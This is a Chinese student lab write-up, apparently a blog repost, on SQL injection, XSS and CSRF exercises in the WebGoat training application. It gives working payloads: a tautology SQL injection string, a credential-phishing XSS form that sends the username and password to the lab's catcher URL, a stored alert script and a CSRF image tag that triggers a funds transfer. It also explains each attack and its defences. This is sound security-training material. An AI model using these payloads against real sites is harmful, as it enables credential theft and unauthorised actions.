Webgoat下进行SQL注入,XSS攻击,CSRF攻击
下载地址:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
运行WebGoat
java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中输入以下命令,登录以确认WebGoat正常运行
localhost:8080/WebGoat
输入
‘or 1=‘1
对应的SQL语句为
SELECT * FROM user_data WHERE last_name = ‘‘or 1=‘1‘
因为判断条件永远为真,所以成功通过验证
跨站脚本钓鱼攻击,在文本框中输入如下钓鱼网站代码
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Your information was stolen by 5215! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>please input your information here:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
生成登录界面,在界面中输入用户名和密码,可看到截获的信息
用户访问时会执行非预期的脚本
在Message中输入以下语句,提交发帖
<script>alert("4306 attack succeed!");</script>
点击,访问帖子时会出现弹框
用户点击时触发事件,实现跨站请求伪造
在message框中输入
<img src="http://localhost:8080/WebGoat/attack? Screen=288&menu=900&transferFunds=4306"/>
用户点击后,攻击成功
利用程序员编程时的疏忽,执行恶意SQL语句,实现无帐号登录,甚至篡改数据库
防御方法有正则表达式过滤,字符串过滤,PreparedStatement等
跨站脚本攻击(XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种
攻击者将恶意代码注入到网页上,其他用户在浏览网页时就会受到影响
防御方法有特殊字符过滤,标签过滤等
跨站域请求伪造(CSRF)是一种对网站的恶意利用
XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站
防御方法有验证请求来源,生成随机token等
按照实验要求,没抓图,纯文字描述实验过程,希望写的足够具体
webgoat在Windows下就能运行
其中还有其它有意思的injection flaw,值得尝试
</form><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Your information was stolen by 5215! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script><form name="phish"><br><br><HR><H2>please input your information here:</H2><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
原文:https://www.cnblogs.com/besti-white/p/10817345.html